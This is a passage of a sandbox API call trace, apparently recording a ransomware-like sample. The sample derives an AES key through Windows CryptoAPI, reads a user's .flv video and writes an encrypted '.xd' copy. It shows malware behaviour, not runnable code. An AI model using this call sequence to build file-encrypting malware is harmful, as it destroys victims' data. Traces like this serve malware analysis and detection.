cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.167] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.167] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0068.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621678, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0068.168] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0068.168] CryptHashData (hHash=0x164c830, pbData=0x1629550, dwDataLen=0x3, dwFlags=0x1) returned 1 [0068.168] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.168] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.168] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.168] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.168] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.168] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.168] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.168] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0068.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621630, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0068.169] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0068.169] CryptDeriveKey (in: hProv=0x17aad58, Algid=0x6610, hBaseData=0x164c830, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c2f0) returned 1 [0068.169] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.169] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.169] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.169] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.169] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.169] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.169] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0068.169] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0068.169] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0068.170] CryptDestroyHash (hHash=0x164c830) returned 1 [0068.170] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.170] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.170] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.170] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.170] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.170] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\i8f2wza81w.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0068.170] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.170] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0068.170] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.170] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.170] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.170] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv")) returned 0x10 [0068.171] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\i8f2wza81w.flv.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0068.172] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.172] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.172] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.172] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.174] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0068.174] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0068.175] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x6ffd, lpOverlapped=0x0) returned 1 [0068.176] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0068.181] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.182] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.182] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.182] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0068.184] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.184] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.184] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0068.184] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.185] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0068.186] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.187] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.189] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.189] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0068.189] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0068.189] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0068.189] CryptGetKeyParam (in: hKey=0x164c2f0, dwParam=0x7, pbData=0x1629560, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629560*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0068.189] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.189] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.189] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.190] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.190] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.190] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.190] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.190] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.190] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.190] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.190] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.190] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.190] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.190] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.190] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.190] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.190] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.190] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.190] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.190] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.190] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.190] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.190] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.191] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.191] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621750, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.192] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.192] CryptEncrypt (in: hKey=0x164c2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x16ffd, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x17000) returned 1 [0068.192] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.192] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.192] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.192] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.192] CharLowerBuffW (in: lpsz="byte[94209]", cchLength=0xb | out: lpsz="byte[94209]") returned 0xb [0068.192] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.194] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.195] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.195] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.195] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.195] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.195] CryptEncrypt (in: hKey=0x164c2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e7b20*, pdwDataLen=0x130e618*=0x16ffd, dwBufLen=0x17000 | out: pbData=0x17e7b20*, pdwDataLen=0x130e618*=0x17000) returned 1 [0068.195] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.195] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.196] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.196] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.196] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.196] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.196] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.196] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.196] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.196] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.196] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.196] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.196] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.196] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.196] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.196] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.196] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.202] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.202] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.202] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.203] WriteFile (in: hFile=0x3bc, lpBuffer=0x1894018*, nNumberOfBytesToWrite=0x17000, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1894018*, lpNumberOfBytesWritten=0x130f01c*=0x17000, lpOverlapped=0x0) returned 1 [0068.205] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.205] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.205] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0068.205] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.205] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.205] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0068.205] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621408, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0068.206] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0068.206] CryptDestroyKey (hKey=0x164c2f0) returned 1 [0068.206] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.206] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.206] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.206] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.206] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", 